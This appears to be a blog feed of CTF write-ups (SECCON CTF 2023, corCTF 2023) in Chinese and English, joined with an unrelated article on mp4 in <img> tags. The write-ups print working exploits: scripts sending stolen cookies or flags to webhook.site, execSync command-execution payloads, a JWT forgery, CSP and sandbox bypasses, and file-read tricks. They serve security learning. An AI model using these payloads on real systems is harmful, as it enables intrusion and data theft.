try { null.f()} catch (e) { TypeError = e.constructor}Error = TypeError.prototype.__proto__.constructorError.prepareStackTrace = (err, structuredStackTrace) => structuredStackTracetry{ null.f()} catch(e) { const g = e.stack[2].getFunction().arguments[0].target if (g) { throw { message: g } }}
這招他之前在 DiceCTF 2022 - undefined 這題也用過類似的。
不過對於這題來說有個更容易的解法,利用 this 預設的特性,如下:
function a() { this.console.log('hello') }a()
在 JavaScript 裡面,呼叫一個 function 時預設的 this 就會是 global,用這樣就可以繞過限制。
但繞過限制之後要幹嘛呢?在 worker 裡面拿到 XSS 之後好像做不了什麼事情,因為 main thread 的 setHTML
會做過濾,而且這題的 CSP 是 default-src 'self' 'unsafe-eval'
關鍵就在於 blob URL,可以用 blob 新建一個 HTML 並且載入,這個新 HTML 的 origin 跟原本的是一樣的:
const u = this.URL.createObjectURL(new this.Blob(['<h1>peko</h1>'], { type: 'text/html' }))location = u
而這題讓我驚訝的地方是原來 <meta>
的跳轉也可以跳到 blob URL 去,所以結合 meta redirect 之後就可以把 top level page 變成是自己的 HTML,繞過 sanitizer 的限制。
但此時 CSP 會繼承,所以還是要繞過 CSP,這邊可以再次利用 worker.js,把 worker.js 當作是一般的 script 載入,就能夠在 main thread 底下執行 XSS 了。
這題真的很有趣,blob 的運用方式也很巧妙。
有點懶得研究 python 的東西,就先放著吧,作者有寫 writeup。
這題各種 Electron 黑魔法。
在 Chromium 中 .localhost
結尾的 domain 在利用 file protocol 時會被忽略,例如說:
// failfile://www.youtube.com.attacker.com/etc/passwd// successfile://www.youtube.com.localhost/etc/passwd
(我怎麼覺得以前我好像有無意間翻到過這一段的 code)
而 file:// 會被 DOMPurify 濾掉,不過因為網頁本來就是 file,所以可以改成用 //
來繞過檢查。
接著,file://
在 Electorn 裡面都是 same-origin,所以載入自己的檔案以後就可以存取到 top.api
最後再結合一些 prototype pollution 的東西,就可以拿到 RCE(後半段我沒有仔細研究,可參考作者的 writeup)
這題的關鍵是一個叫做 SXG 的東西:https://web.dev/signed-exchanges/
在這場比賽以前我完全沒聽過這個,而且 web.dev 上的參考資料居然 2021 就有了,看來我真的是 lag 太久了。
簡單來講呢,SXG 就是可以拿憑證對一個網頁做簽章,如此一來其他網站在發送這個簽過章的資源時,瀏覽器就可以把這個資源視為是有憑證的那個網站。
舉個例子,今天 example.com 的人拿著他們的私鑰對一個網站簽名,產生了一個 example.sxg 檔案,接著我拿到了這個檔案,放到我的主機上,網址是:https://huli.tw/example.sxg
當使用者造訪 https://huli.tw/example.sxg 時,內容會是之前的網站,而網址會變成 example.com,就好像這個網頁是直接從 example.com 出來的一樣。
身為一個 JavaScript 愛好者,這次的 SECCON CTF 的題目我很喜歡,充滿了一堆的 JavaScript。雖然說有些題目沒解出來,但依舊學到很多。
這題的目標是要產出一個 isAdmin: true
的 JWT,而重點在於驗證 JWT 的邏輯:
const algorithms = { hs256: (data, secret) => base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()), hs512: (data, secret) => base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()),}const createSignature = (header, payload, secret) => { const data = `${stringifyPart(header)}.${stringifyPart(payload)}`; const signature = algorithms[header.alg.toLowerCase()](data, secret); return signature;}
如果 header.alg
是 constructor
,就會變成 const signature = Object(data,secret)
,產出的結果會變成一個 string 的物件,而且裡面只含有 data,忽略了 secret:
console.log(Object("data", "secret")) // String {'data'}
因此只要根據這個構造一個相同的 signature 就好。
更詳細的 writeup 可以參考:https://github.com/xryuseix/CTF_Writeups/tree/master/SECCON2023
這題可以讓你執行任意 JavaScript,但是必須使用 fetch 加上 X-FLAG 這個 header 才能拿到 flag,可是會被 CSP 擋住:
app.use((req, res, next) => { const js_url = new URL(`http://${req.hostname}:${PORT}/js/index.js`); res.header('Content-Security-Policy', `default-src ${js_url} 'unsafe-eval';`); next();});
只要製造出一個 header too large 的 response 並用 iframe 嵌入,就能得到一個沒有 CSP 的 same-origin 頁面,繞過 CSP:
var f=document.createElement('iframe');f.src = `http://localhost:3000/js/index.js?q=${'a'.repeat(20000)}`;document.body.appendChild(f);f.onload = () => { f.contentWindow.fetch('/flag', { headers: {'X-FLAG': 'a'}, credentials:'include' }) .then(res => res.text()) .then(flag => location='https://webhook.site/2ba35f39-faf4-4ef2-86dd-d85af29e4512?q='+flag)}
有趣的是如果用 window.open
就不行,看賽後討論是有人說因為 window.open 會把錯誤頁面導到一個 chrome://error
之類的地方,所以 origin 會變成 null。
而這題的預期解其實是 service worker,在 http + localhost 底下是可以用 sw 的,靠著 service worker 把 CSP header 拿掉。
底下是 @DimasMaulana 的 exploit:
from urllib.parse import quotetarget = "http://localhost:3000"webhook = "https://webhook.site/9a2fbf03-9a64-49d1-9418-3728945d5e10"rmcsp = """self.addEventListener("fetch", (ev) => { console.log(ev) let headers = new Headers() headers.set("Content-Type","text/html") if (/\/js\//.test(ev.request.url)){ ev.respondWith(new Response("<script>fetch('/flag',{headers:{'X-FLAG':'1'},credentials:'include'}).then(async r=>{location='"""+webhook+"""?'+await r.text()})</script>",{headers})) }});console.log("registered2")document = {}document.getElementById = ()=>{return {innerText:"testing"}}"""workerUrl = "/js/index.js?expr="+quote(rmcsp)payload = "navigator.serviceWorker.register('"+workerUrl+"');setInterval(()=>{location='/js/test'},2000)"print(payload)payload = target+"/js/..%2f?expr="+quote(payload)
這題的核心程式碼如下:
const createBlink = async (html) => { const sandbox = wrap( $("#viewer").appendChild(document.createElement("iframe")) ); // I believe it is impossible to escape this iframe sandbox... sandbox.sandbox = sandboxAttribute; sandbox.width = "100%"; sandbox.srcdoc = html; await new Promise((resolve) => (sandbox.onload = resolve)); const target = wrap(sandbox.contentDocument.body); target.popover = "manual"; const id = setInterval(target.togglePopover, 400); return () => { clearInterval(id); sandbox.remove(); };};
iframe 的地方沒辦法 bypass sandbox,但重點是 setInterval(target.togglePopover, 400)
這一行程式碼。
如果 target.togglePopover
是字串的話,就可以拿來當成 eval 用。
而 target
是 sandbox.contentDocument.body
,可以用 name
去 DOM clobber document.body
,接著再去 clobber togglePopover
就搞定了。
<iframe name=body srcdoc="<a id=togglePopover href=a:fetch(`http://webhook.site/2ba35f39-faf4-4ef2-86dd-d85af29e4512?q=${document.cookie}`)></a>"></iframe>
遺憾的一題,試了很久但沒有解開 QQ
這題的核心程式碼如下:
const ejs = require("ejs");const { filename, ...query } = JSON.parse(process.argv[2].trim());ejs.renderFile(filename, query).then(console.log);
你可以控制 filename
跟 query
,目標是 XSS。
而 CSP 是 self,意思就是只要做出 <script src=/>
跟建構出一個合法的 JS 程式碼就可以拿到 flag 了。
但這邊另一個限制是只能讀取 src
底下的檔案,所以你的 template 是有限的。
而解法是利用 EJS 的 options openDelimiter
、closeDelimiter
以及 delimiter
,讓 EJS 用不同的方式去解析模板。
因為在 EJS 裏面 <%=
可以輸出後面接的內容,而 <%-
則是可以輸出 unescaped 的內容,所以我一開始的想法是找到符合這種 pattern 的字串,到最後只找到了一半,可以做出 <script>
但是屬性內容會被編碼,也找到了合法的 JavaScript 產生方式,總之最後沒做出來。
賽後看了一下其他人的解法,才意識到我忘記了這題是呼叫 node.js 以後輸出,作者的解法是把 debug 設成 true,就可以讓 EJS 輸出 src,而 src 會包含 filename,再利用 filename 可以是一個 object 的特性來傳入任意內容。
或是也可以直接把 console.log(src)
放到 template 裡面去。
舉例來說,有一段文字如下:
if (opts.debug) { console.log(src);}if (opts.compileDebug && opts.filename) { src = src + "\n//# sourceURL=" + sanitizedFilename + "\n";}// other codes
當我們這樣做以後:
ejs.renderFile('test', { 'src': { helllo: 'world' }, settings: { 'view options': { delimiter: ' ', openDelimiter: 'if (opts.debug)', closeDelimiter: " if (opts.compileDebug && opts.filename)" } }}).then(r => console.log(r));
輸出會是:
{ helllo: 'world' } { src = src + "\n//# sourceURL=" + sanitizedFilename + "\n"; } // other codes
之所以會這樣,是因為把 delimiter 改掉以後,上面那段文字就等同於是:
<% { console.log(src); } %> { src = src + "\n//# sourceURL=" + sanitizedFilename + "\n"; } // other codes
因此就等同於是執行了 console.log(src)
,所以 src 就會出現在輸出裡面。
這題可以讓你污染 prototype 上面的東西,而且值可以是 function,但問題是不能污染已經有的屬性。
解法是觸發錯誤之後,去找 Node.js 底層會幹嘛,然後污染相對應的屬性。
一個簡單的範例是:
Object.prototype.prepareStackTrace = function(){ console.log('pwn')}Object.toString.arguments
輸出為:
pwn/js/pp.js:4Object.toString.arguments ^[TypeError: 'caller', 'callee', and 'arguments' properties may not be accessed on strict mode functions or the arguments objects for calls to them]Node.js v20.0.0
至於要怎麼找出這屬性,學 maple 去 patch V8 似乎是個不錯的選擇。
而作者則是有找到另外兩種方法,在這邊留個紀錄以後比較好找,來源是作者的 writeup:
def solve1() -> str: # Solution 1: return json.dumps({ "__proto__": { # ref. https://github.com/nodejs/node/blob/v20.6.0/lib/internal/fixed_queue.js#L81 # ref. https://github.com/nodejs/node/blob/v20.6.0/lib/internal/process/task_queues.js#L77 "1": { "callback": { "__custom__": True, "type": "Function", "args": [ f"console.log(global.process.mainModule.require('child_process').execSync('{command}').toString())" ], }, }, }, })def solve2() -> str: # Solution 2: return json.dumps({ "__proto__": { # ref. https://github.com/nodejs/node/blob/v20.6.0/lib/internal/util/inspect.js#L1064 "circular": { "get": { "__custom__": True, "type": "Function", "args": [ f"console.log(global.process.mainModule.require('child_process').execSync('{command}').toString())" ], }, }, # ref. https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error/cause "cause": 1, }, # Cause an error "toString": { "caller": {}, }, })
跟上一題類似,但是是要找 deno 的 gadget。
作者找到的 gadget 是 Object.prototype.return
而 maple 找到的是 cause + circular.get,@parrot409 找到的是 nodeProcessUnhandledRejectionCallback
更詳細的說明可以參考 maple 的 writeup:https://blog.maple3142.net/2023/09/17/seccon-ctf-2023-quals-writeups/#deno-ppjail
這題也很有趣,題目就是經典的那種 XS leaks 的類型,有搜尋功能,只是搜尋結果會把 flag 給 filter 掉。
搜尋結果的頁面可以用 meta redirect 洩漏出來,所以是可以看到結果頁面的。只是結果頁面已經把 flag 去掉了,那還可以做些什麼呢?
在搜尋的時候,會把結果先排序,排序完以後再把 flag 去掉,而這一題所使用的排序方法在元素 <= 12 個的時候會是 stable sort,>12 個就是 unstable sort。
因此,我們可以先建立恰好 12 個 note,內容為:ECCON{@|ECCON{a|ECCON{b|...
假如 flag 是 SECCON{abc}
好了,在搜尋 ECCON{@
時,因為總數是 12 個,所以是 stable sort,最後搜尋結果頁面的 id 順序不會變。
但如果是搜尋 ECCON{a
,結果就變成 13 個,此時變成 unstable sort,note 的順序變了。
因此,可以從結果頁面的內容知道原始搜尋的結果是 12 個以內還是超過 12 個,就可以把這個當作 oracle,進而 leak 出 flag。
這個解法真的很酷,非常新穎!無論是出題的 Ark 還是解開的 maple,都真的好強
]]>Keyword list:
Recently, it seems rare to see web challenges with less than 10 solves for each problem. The last time I saw such a competition was probably DiceCTF. However, I think the difficulty is secondary. The main point is to have fun, find it interesting, and learn new things. These problems, in my opinion, clearly achieved that.
First, here are the write-ups from two authors.
Both authors wrote detailed write-ups. Here, I will just record some key points after reading them.
This challenge has two servers: one in Node.js and the other in Nim. Basically, most of the functionality is implemented in the Nim server. You can log in, register, and change passwords. User data is stored in a YAML file, and the goal is to achieve RCE (Remote Code Execution).
The first vulnerability is request smuggling. Node.js accepts Transfer-Encoding: CHUNKED
, but Nim only looks at the chunk
. This difference can be exploited for smuggling purposes.
But what can be done after smuggling?
The second vulnerability is related to Nim’s behavior with JSON. By setting a field to a very large number, Nim treats it as a RawNumber
. When updating, it won’t include quotes. This can be used for JSON injection.
The third vulnerability is that, with JSON injection, you can use the functionality of js-yaml to create an object with a JS function. Finally, by calling toString
on this object during rendering, RCE can be achieved.
It would look something like this:
privilegeLevel: { toString: !<tag:yaml.org,2002:js/function> "function (){console.log('hi')}"}access: {'profile': true, register: true, login: true}
Oh, by the way, there is another vulnerability related to Nim’s file reading. The filename can be truncated using a null byte: test.yaml\u0000
This challenge is very interesting!
In simple terms, it throws your code into a worker to execute it. Inside the worker, there are some protective measures that prevent you from accessing globalThis
. Even if you manage to get XSS within the worker, the only thing you can do is post a message to the main thread. However, the result goes through setHTML
and is filtered by the browser’s Sanitizer API.
The worker’s sandbox is quite interesting. It looks something like this:
function allKeys(obj) { let keys = [] while (obj !== null) { keys = keys.concat(Object.getOwnPropertyNames(obj)) keys = keys.concat(Object.keys(Object.getOwnPropertyDescriptors(obj))) obj = Object.getPrototypeOf(obj) } return [...new Set(keys)]}function hardening() { const fnCons = [function () {}, async function () {}, function* () {}, async function* () {}].map( f => f.constructor ) for (const c of fnCons) { Object.defineProperty(c.prototype, 'constructor', { get: function () { throw new Error('Nope') }, set: function () { throw new Error('Nope') }, configurable: false }) } const cons = [Object, Array, Number, String, Boolean, Date, RegExp, Promise, Symbol, BigInt].concat(fnCons) for (const c of cons) { Object.freeze(c) Object.freeze(c.prototype) }}const code = `console.log(1)`const argNames = allKeys(globalThis)const fn = Function(...argNames, code)const callUserFn = t => { try { fn.apply(Object.create(null)) } catch (e) { console.error('User function error', e) } return true}// hardeninghardening()callUserFn()
argNames
collects the names of everything that global
can access. This way, all the names can be treated as function parameters. It feels something like this:
function run(console, Object, String, Number, fetch,...) { }
So, no matter what you get, it will be undefined
. When calling, this
is also passed as Object.create(null)
, so it’s not easy to escape.
Maple’s expected solution involves using try-catch and throwing an error to retrieve the value:
try { null.f()} catch (e) { TypeError = e.constructor}Error = TypeError.prototype.__proto__.constructorError.prepareStackTrace = (err, structuredStackTrace) => structuredStackTracetry{ null.f()} catch(e) { const g = e.stack[2].getFunction().arguments[0].target if (g) { throw { message: g } }}
He used a similar technique before in the DiceCTF 2022 - undefined challenge.
However, there is an easier solution for this challenge, utilizing the default behavior of this
, as shown below:
function a() { this.console.log('hello') }a()
In JavaScript, when calling a function, the default this
will be the global object. By using this, you can bypass restrictions.
But what can you do after bypassing the restrictions? It seems that you can’t do much in the worker because the main thread’s setHTML
filters the content, and the CSP of this challenge is default-src 'self' 'unsafe-eval'
.
The key lies in the blob URL. You can create a new HTML using blob and load it. The origin of this new HTML is the same as the original one:
const u = this.URL.createObjectURL(new this.Blob(['<h1>peko</h1>'], { type: 'text/html' }))location = u
What surprised me about this challenge is that the <meta>
redirect can also be redirected to a blob URL. So, by combining meta redirect, you can make the top-level page your own HTML and bypass the sanitizer’s restrictions.
However, at this point, the CSP is inherited, so you still need to bypass the CSP. Here, you can use worker.js
again, load it as a regular script, and execute XSS under the main thread.
This challenge is really interesting, and the use of blob is quite clever.
I’m a bit lazy to study Python stuff, so I’ll leave it for now. The author has written a writeup.
This challenge involves various Electron black magic.
In Chromium, domains ending with .localhost
are ignored when using the file protocol, for example:
// failfile://www.youtube.com.attacker.com/etc/passwd// successfile://www.youtube.com.localhost/etc/passwd
(I feel like I accidentally came across this code before)
And file://
is filtered out by DOMPurify, but since the webpage itself is a file, you can change it to use //
to bypass the check.
Next, file://
is same-origin in Electron, so after loading your own file, you can access top.api
.
Finally, by combining some prototype pollution techniques, you can achieve RCE (I didn’t study the second half in detail, you can refer to the author’s writeup).
The key to this challenge is something called SXG: https://web.dev/signed-exchanges/
I had never heard of this before this competition, and it turns out that the reference material on web.dev was available as early as 2021. It seems like I’ve been lagging behind for too long.
Simply put, SXG allows you to sign a webpage with a certificate. When other websites send this signed resource, the browser treats it as if it is from the certified website.
For example, suppose someone from example.com signs a webpage with their private key, creating an example.sxg file. Then I get this file and put it on my server with the URL: https://huli.tw/example.sxg
When a user visits https://huli.tw/example.sxg, the content will be the previous website, and the URL will become example.com, as if this webpage came directly from example.com.
As a JavaScript enthusiast, I really liked the challenges in this SECCON CTF. They were full of JavaScript. Although I couldn’t solve some of the challenges, I still learned a lot.
The goal of this challenge is to generate a JWT with isAdmin: true
. The key lies in the logic of JWT verification:
const algorithms = { hs256: (data, secret) => base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()), hs512: (data, secret) => base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()),}const createSignature = (header, payload, secret) => { const data = `${stringifyPart(header)}.${stringifyPart(payload)}`; const signature = algorithms[header.alg.toLowerCase()](data, secret); return signature;}
If header.alg
is constructor
, it becomes const signature = Object(data,secret)
, and the resulting signature becomes a string object that only contains data, ignoring the secret:
console.log(Object("data", "secret")) // String {'data'}
Therefore, you just need to construct a signature that is the same.
For a more detailed writeup, you can refer to: https://github.com/xryuseix/CTF_Writeups/tree/master/SECCON2023
This question allows you to execute arbitrary JavaScript, but you need to use fetch with the X-FLAG header to get the flag. However, it will be blocked by CSP:
app.use((req, res, next) => { const js_url = new URL(`http://${req.hostname}:${PORT}/js/index.js`); res.header('Content-Security-Policy', `default-src ${js_url} 'unsafe-eval';`); next();});
By creating a response with a header that is too large and embedding it in an iframe, you can obtain a same-origin page without CSP, bypassing CSP:
var f=document.createElement('iframe');f.src = `http://localhost:3000/js/index.js?q=${'a'.repeat(20000)}`;document.body.appendChild(f);f.onload = () => { f.contentWindow.fetch('/flag', { headers: {'X-FLAG': 'a'}, credentials:'include' }) .then(res => res.text()) .then(flag => location='https://webhook.site/2ba35f39-faf4-4ef2-86dd-d85af29e4512?q='+flag)}
Interestingly, using window.open
does not work. It is said that window.open will redirect the error page to a place like chrome://error
, so the origin becomes null.
The expected solution for this question is actually a service worker. It can be used under http + localhost to remove the CSP header by relying on the service worker.
Below is @DimasMaulana’s exploit:
from urllib.parse import quotetarget = "http://localhost:3000"webhook = "https://webhook.site/9a2fbf03-9a64-49d1-9418-3728945d5e10"rmcsp = """self.addEventListener("fetch", (ev) => { console.log(ev) let headers = new Headers() headers.set("Content-Type","text/html") if (/\/js\//.test(ev.request.url)){ ev.respondWith(new Response("<script>fetch('/flag',{headers:{'X-FLAG':'1'},credentials:'include'}).then(async r=>{location='"""+webhook+"""?'+await r.text()})</script>",{headers})) }});console.log("registered2")document = {}document.getElementById = ()=>{return {innerText:"testing"}}"""workerUrl = "/js/index.js?expr="+quote(rmcsp)payload = "navigator.serviceWorker.register('"+workerUrl+"');setInterval(()=>{location='/js/test'},2000)"print(payload)payload = target+"/js/..%2f?expr="+quote(payload)
The core code for this question is as follows:
const createBlink = async (html) => { const sandbox = wrap( $("#viewer").appendChild(document.createElement("iframe")) ); // I believe it is impossible to escape this iframe sandbox... sandbox.sandbox = sandboxAttribute; sandbox.width = "100%"; sandbox.srcdoc = html; await new Promise((resolve) => (sandbox.onload = resolve)); const target = wrap(sandbox.contentDocument.body); target.popover = "manual"; const id = setInterval(target.togglePopover, 400); return () => { clearInterval(id); sandbox.remove(); };};
It is not possible to bypass the sandbox in the iframe, but the key is the line of code setInterval(target.togglePopover, 400)
.
If target.togglePopover
is a string, it can be used as an eval.
And target
is sandbox.contentDocument.body
, which can be used to DOM clobber document.body
with name
, and then clobber togglePopover
to complete the task.
<iframe name=body srcdoc="<a id=togglePopover href=a:fetch(`http://webhook.site/2ba35f39-faf4-4ef2-86dd-d85af29e4512?q=${document.cookie}`)></a>"></iframe>
Unfortunately, I couldn’t solve this question even after trying for a long time QQ
The core code for this question is as follows:
const ejs = require("ejs");const { filename, ...query } = JSON.parse(process.argv[2].trim());ejs.renderFile(filename, query).then(console.log);
You can control filename
and query
, and the goal is XSS.
The CSP is set to self, which means that as long as you create <script src=/>
and construct a valid JS code, you can get the flag.
But another limitation here is that you can only read files under src
, so your template is limited.
The solution is to use EJS options openDelimiter
, closeDelimiter
, and delimiter
to let EJS parse the template in different ways.
Because in EJS, <%=
can output the content followed by it, and <%-
can output unescaped content. So my initial idea was to find a string that matches this pattern, but I only found half of it in the end. I could create <script>
, but the attribute content would be encoded. I also found a valid way to generate JavaScript. In short, I couldn’t solve it in the end.
After the competition, when I looked at other people’s solutions, I realized that I forgot that this question calls node.js to output. The author’s solution is to set debug to true, which allows EJS to output src, and src will include the filename. Then you can use the property of the filename object to pass in any content.
Alternatively, you can directly put console.log(src)
into the template.
For example, there is a piece of text as follows:
if (opts.debug) { console.log(src);}if (opts.compileDebug && opts.filename) { src = src + "\n//# sourceURL=" + sanitizedFilename + "\n";}// other codes
After doing this:
ejs.renderFile('test', { 'src': { helllo: 'world' }, settings: { 'view options': { delimiter: ' ', openDelimiter: 'if (opts.debug)', closeDelimiter: " if (opts.compileDebug && opts.filename)" } }}).then(r => console.log(r));
The output will be:
{ helllo: 'world' } { src = src + "\n//# sourceURL=" + sanitizedFilename + "\n"; } // other codes
The reason for this is that after changing the delimiter, the above text is equivalent to:
<% { console.log(src); } %> { src = src + "\n//# sourceURL=" + sanitizedFilename + "\n"; } // other codes
Therefore, it is equivalent to executing console.log(src)
, so src will appear in the output.
This question allows you to pollute things on the prototype, and the value can be a function, but the problem is that you cannot pollute existing properties.
The solution is to trigger an error and then find out what the Node.js will do, and then pollute the corresponding properties.
A simple example is:
Object.prototype.prepareStackTrace = function(){ console.log('pwn')}Object.toString.arguments
The output is:
pwn/js/pp.js:4Object.toString.arguments ^[TypeError: 'caller', 'callee', and 'arguments' properties may not be accessed on strict mode functions or the arguments objects for calls to them]Node.js v20.0.0
As for how to find this attribute, it seems like a good choice to patch V8 by learning from maple.
The author has found two other methods, which are recorded here for future reference. The source is the author’s writeup:
def solve1() -> str: # Solution 1: return json.dumps({ "__proto__": { # ref. https://github.com/nodejs/node/blob/v20.6.0/lib/internal/fixed_queue.js#L81 # ref. https://github.com/nodejs/node/blob/v20.6.0/lib/internal/process/task_queues.js#L77 "1": { "callback": { "__custom__": True, "type": "Function", "args": [ f"console.log(global.process.mainModule.require('child_process').execSync('{command}').toString())" ], }, }, }, })def solve2() -> str: # Solution 2: return json.dumps({ "__proto__": { # ref. https://github.com/nodejs/node/blob/v20.6.0/lib/internal/util/inspect.js#L1064 "circular": { "get": { "__custom__": True, "type": "Function", "args": [ f"console.log(global.process.mainModule.require('child_process').execSync('{command}').toString())" ], }, }, # ref. https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error/cause "cause": 1, }, # Cause an error "toString": { "caller": {}, }, })
Similar to the previous question, but this time we need to find a gadget for deno.
The gadget that the author found is Object.prototype.return
.
Maple found cause + circular.get
, and @parrot409 found nodeProcessUnhandledRejectionCallback
.
For more detailed explanations, you can refer to maple’s writeup: https://blog.maple3142.net/2023/09/17/seccon-ctf-2023-quals-writeups/#deno-ppjail
This challenge is also interesting. It belongs to the type of XS leaks. There is a search function, but the search results filter out the flag.
The search result page can leak information through meta redirect, so we can see the result page. However, the flag has been removed from the result page. What else can we do?
During the search, the results are sorted first, and then the flag is removed. The sorting method used in this question is a stable sort when the number of elements is <= 12, and an unstable sort when the number of elements is > 12.
Therefore, we can create exactly 12 notes with the content: ECCON{@|ECCON{a|ECCON{b|...
Suppose the flag is SECCON{abc}
. When searching for ECCON{@
, because the total number is 12, it is a stable sort, and the order of the IDs on the search result page will not change.
But if we search for ECCON{a
, the result becomes 13, and it becomes an unstable sort, changing the order of the notes.
Therefore, by examining the content of the result page, we can determine whether the original search result was within 12 or more than 12, and use it as an oracle to leak the flag.
This solution is really cool and innovative! Both Ark, who created the challnenge, and maple, who solved it, are really amazing.
]]>但是 GIF 的缺點之一眾所皆知,就是檔案很大,真的很大。尤其是手機上因為解析度比較高,可能會需要用到三倍大小的圖片,就算只顯示 52 px,也要準備 156px 的圖檔,佔的空間就更多了。以網頁來說,當然是要載入的資源越少越好,越小也越好。
因此,很多網站會改用 <video>
標籤來呈現這些動圖,只要先轉成 mp4 格式,檔案大小就能小很多。不過轉成 <video>
的問題大概就是原先用 <img>
的一些好處會不見,像是 lazy loading 似乎就沒有原生支援,有一些麻煩。
而我在查資料的過程中,居然意外發現在 Safari 上面,<img>
是支援 mp4 的!也就是說,你可以這樣做:
<img src="test.mp4">
而且這個功能推出很久了,從 2017 的時候就有了:Bug 176825 - [Cocoa] Add an ImageDecoder subclass backed by AVFoundation
我是從這篇文章知道的:Evolution of <img>: Gif without the GIF
如果 <img>
裡面也可以放 mp4 的話,就可以同時利用到兩者的優點,又不用換標籤,又支援 lazy loading,然後檔案大小又一下縮減了許多。
但可惜的事情是,只有 Safari 有支援而已,就算過了六年,在 Chromium 以及 Firefox 上都沒看到這個功能,而且未來也沒什麼機會看到了。
之所以會這樣講,是因為 Chromium 已經明確表示不會支援,討論串在這邊:Issue 791658: Support <img src=”*.mp4”> ,在 2018 的時候就已經被標記為 Wont fix,理由如下:
Closing as WontFix per c#35, due to the following:- The widespread adoption of WebP (addresses CDN use case)- Forthcoming AV1 based image formats (ditto).- Memory inefficiency with allowing arbitrary video in image.- Most sites have already switched to <video muted> now that autoplay is allowed.
第一點提到的是 WebP 其實也有個 Animated WebP 的格式,可以放在 <img src>
裡面而且也會動,檔案大小更小,其他優缺點可以參考 Google 自己寫的:使用 WebP 動畫有什麼好處?
而第二點是在說比較新的圖片格式 AVIF 也有 Animated AVIF,同樣也支援動圖。
如果這些新的圖片格式都可以取代 GIF 的話,好像確實沒什麼必要一定要使用 mp4?
而 Firefox 的話雖然沒有說不會做,但是 issue 也已經很久沒動了:Add support for video formats in <img>, behaving like animated gif
也有人希望可以把這個功能加入規格,但也有一陣子沒有動靜:Require img to be able to load the same video formats as video supports #7141
總而言之,看起來這個功能應該只會在 Safari 上面有了。
可惜我在用的 image service 的自動轉檔功能只支援 GIF 轉 mp4,不支援轉成 animated WebP 或是 animated AVIF,不然就超方便的。
如果想要繼續用 <img>
來放動圖的話,最完整的方式應該是使用 <picture>
標籤搭配多種檔案格式,像這樣:
<picture> <source type="image/avif" srcset="test.avif"> <source type="video/mp4" srcset="test.mp4"> <source type="image/webp" srcset="test.webp"> <img src="test.gif"></picture>
這樣就可以確保在每個瀏覽器上面都可以呈現出結果,並且會選擇通常檔案大小較小的圖片。
我隨便試了一下,自己錄了一個簡單的 gif,原始大小是 75 KB:
轉成 WebP 之後是 58 KB (-22.6%):
轉成 mp4 是 17 KB(-77.3%):
轉成 AVIF 是 11 KB(-85.3%):
看來最新的檔案格式還是滿厲害的,一下就小了超多。
]]>However, one of the well-known drawbacks of GIFs is their large file size. Especially on mobile devices with higher resolutions, larger images are required. Even if only a 52px image is displayed, a 156px image needs to be prepared, resulting in increased file size. In terms of web development, it is always better to have fewer and smaller resources to load.
Therefore, many websites have started using the <video>
tag to display these animated images. By converting them to the mp4 format, the file size can be significantly reduced. However, there are some downsides to using the <video>
tag instead of <img>
, such as the lack of native support for lazy loading and other inconveniences.
During my research, I unexpectedly discovered that Safari actually supports mp4 in the <img>
tag! This means you can do the following:
<img src="test.mp4">
This feature has been available since 2017: Bug 176825 - [Cocoa] Add an ImageDecoder subclass backed by AVFoundation
I found out about this in the following article: Evolution of <img>: Gif without the GIF
If <img>
can also support mp4, we can take advantage of the benefits of both tags without having to switch tags. We can have lazy loading support and significantly reduce the file size.
Unfortunately, this feature is only supported in Safari. Even after six years, I haven’t seen this functionality in Chromium or Firefox, and it seems unlikely to be implemented in the future.
Chromium has explicitly stated that it will not support this feature. The discussion thread can be found here: Issue 791658: Support <img src=”*.mp4”>. It was marked as “Wont fix” in 2018, with the following reason:
Closing as WontFix per c#35, due to the following:- The widespread adoption of WebP (addresses CDN use case)- Forthcoming AV1 based image formats (ditto).- Memory inefficiency with allowing arbitrary video in image.- Most sites have already switched to <video muted> now that autoplay is allowed.
The first point mentioned that WebP actually has an Animated WebP format that can be used within the <img src>
tag and is also animated. It has even smaller file sizes. For more information on the pros and cons, you can refer to Google’s own documentation: What are the benefits of using animated WebP?
The second point mentions that the newer image format AVIF also has Animated AVIF, which also supports animated images.
If these new image formats can replace GIFs, it seems that there is no real need to use mp4.
As for Firefox, although they haven’t explicitly stated that they won’t implement this feature, the issue hasn’t seen much activity for a long time: Add support for video formats in <img>, behaving like animated gif
Some people hope to add this feature to the specification, but there hasn’t been much progress for a while: Require img to be able to load the same video formats as video supports #7141
In conclusion, it seems that this feature will only be available in Safari.
Unfortunately, the image service I am using only supports converting GIFs to mp4 and does not support converting to animated WebP or animated AVIF, which would have been very convenient.
If you want to continue using <img>
for animated images, the most comprehensive approach would be to use the <picture>
tag with multiple file formats, like this:
<picture> <source type="image/avif" srcset="test.avif"> <source type="video/mp4" srcset="test.mp4"> <source type="image/webp" srcset="test.webp"> <img src="test.gif"></picture>
This ensures that the results are displayed correctly on every browser and selects the image with usually smaller file size.
I tried it out myself with a simple gif that had an original size of 75 KB:
After converting it to WebP, it became 58 KB (-22.6%):
Converting it to mp4 reduced the size to 17 KB (-77.3%):
Converting it to AVIF reduced the size to 11 KB (-85.3%):
It seems that the latest file formats are quite impressive, reducing the size significantly.
]]>老樣子,筆記一下關鍵字:
題目的原始碼都在這邊:https://github.com/Crusaders-of-Rust/corCTF-2023-public-challenge-archive/tree/master/web
部分 web 題的 writeup:https://brycec.me/posts/corctf_2023_challenges
pin 碼的值有 10000 種可能,需要在 10 個 request 以內用 GraphQL query 找出正確的值。
解法就是用 batch query + alias,一個請求就可以試很多次(取自底下的文章):
{ flag0:flag(pin:0), flag1:flag(pin:1), flag2:flag(pin:2), flag3:flag(pin:3), flag4:flag(pin:4), flag5:flag(pin:5)}
其他人的 writeup:
重點是底下這一段的程式碼:
@app.route('/anonymized/<image_file>')def serve_image(image_file): file_path = os.path.join(UPLOAD_FOLDER, unquote(image_file)) if ".." in file_path or not os.path.exists(file_path): return f"Image {file_path} cannot be found.", 404 return send_file(file_path, mimetype='image/png')
Python 的 os.path.join
有一個眾所皆知的行為是當你要 join 的東西是一個絕對路徑的時候,前面都會被忽略:
>>> os.path.join('/tmp/abc', 'test.txt')'/tmp/abc/test.txt'>>> os.path.join('/tmp/abc', '/test.txt')'/test.txt'
因此這題利用這個特性就可以做到任意讀檔,拿到 flag。
